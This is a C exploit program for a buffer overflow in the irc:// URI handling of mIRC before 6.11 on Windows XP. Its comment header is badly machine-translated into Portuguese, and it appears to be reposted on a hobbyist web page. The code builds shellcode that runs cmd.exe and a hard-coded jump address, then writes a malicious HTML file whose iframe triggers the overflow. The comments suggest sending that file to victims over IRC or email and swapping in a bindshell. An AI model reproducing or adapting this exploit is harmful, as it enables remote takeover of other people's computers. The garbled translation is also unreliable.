Remote exploit para o mIRC v6.1 e anteriores que estão rodando no WindowsXP.

** gEEk-fuck-khaled.c -- remote mirc < 6.11 exploit by blasty
**
** TESTADO EM: XP DO Windows (Nenhum SP, Ducth) Construção: 2600.xpclient.010817-1148
**
** Uns dias poucos atrás, Eu vi um mIRC consultivo no packetstorm [1] e foi surpreendido
** ninguém tinha escrito uma façanha ainda. Assim Eu decidi começar um de escrever.
** Desde isto foi meu primeiro coding do tempo uma façanha ao windows, isto pegou algum
** pesquisa antes Eu obtive o pendurado disto. (Ollydbg é muito mais confundido então o GDB btw :P)
**
** Esta façanhas (ab)usa o bug no irc:// URI tratando. Isto contem um buffer-
** inundação, e quando mais então 998 bytes são vontade do EIP dada é overwritten.
**
** A Princípio Eu estava pensando de uma solução simples para obter este exploitable. Desde
** dando um URI com > 998 chars para alguém no IRC está simplesmente NÃO feito :)
** Então Eu recordo o iframe-irc:// falha encontrada por uuuppzz [2]
**
** Esta façanha escreverá um arquivo de HTML DO malicious contendo um iframe executando a
** irc:// endereço. Assim você pode dar este para qualquer um no IRC por exemplo ;)
** O shellcode incluido unicamente executa cmd.exe, porque Eu não desejo ser este
** um scriptkiddy util. Mas, repondo o shellcode com seu possui está também possível.
** Um 400 shellcode de bytes (bindshell etc.) facilmente ajusta o buffer, mas isto pode requer
** algum beliscado.
** Depois exiting o cmd.exe mIRC colidirá, assim shellcode seu não 100% limpa, mas que carez :)
**
** Oh yeah, Eu quase esqueci.. esta façanha também trabalha mesmo que mIRC não é começado.
** mIRC começará automaticamente quando um irc:// é executado, assim você pode também enviar alguém
** e email de HTML contendo o código de HTML DE mau. (unicamente por clientes pobres Perspectiva igual Expressa :P)
**
** De Qualquer Modo, diverte-se com isto, e dont próprio newb completo #chans :P
**

** Greetz to:
** inz, demz, gEEkz team
**
** [1] http://www.packetstormsecurity.nl/0310-advisories/mirc61.txt
** [2] http://www.uuuppz.com/research/adv-001-mirc.htm
**
** -- blasty ([email protected] / www.geekz.nl)
**/
#include <stdio.h>/* Stupid cmd.exe exec shellcode. hey! I r !evil ;) */
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
"\x44\x80\xbf\x77" // 0x78bf8044 <- adress of system()
"\xff\xd0"; // call system()

char jmpback[] =
"\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)
char buffer[1100], fstring[1300]; // heh, need to clean this up
int main(int argc, char *argv[]) {
FILE *evil;
fprintf(stdout, "---------------------------------------------\n"
"mIRC < 6.11 remote exploit by [email protected]\n"
"---------------------------------------------\n\n");
// NOPslides are cool
memset(buffer, 0x90, sizeof(buffer) - 1);
// place shellcode in buffer
memcpy(buffer + 20, shellcode, strlen(shellcode));
// took this one from ntdll.dll (jmp esp)
*(long *)&buffer[994] = 0x77F4801C;
// place jmpback shellcode in buffer
memcpy(buffer + 20 + strlen(shellcode) + 1010, jmpback, strlen(jmpback));
printf("[+] Evil buffer constructed\n"); // open HTML file for writing
if((evil = fopen("index.html", "a+")) != NULL) {
// construct evil string :)
sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>", buffer);
// write string to file
fputs(fstring, evil);
// close file
fclose(evil);
printf("[+] Evil HTML file written!\n");
return(0);
} else {
// uh oh.. :/
fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
exit(1);
}
}


Cracks's S.A

Hosted by www.Geocities.ws

1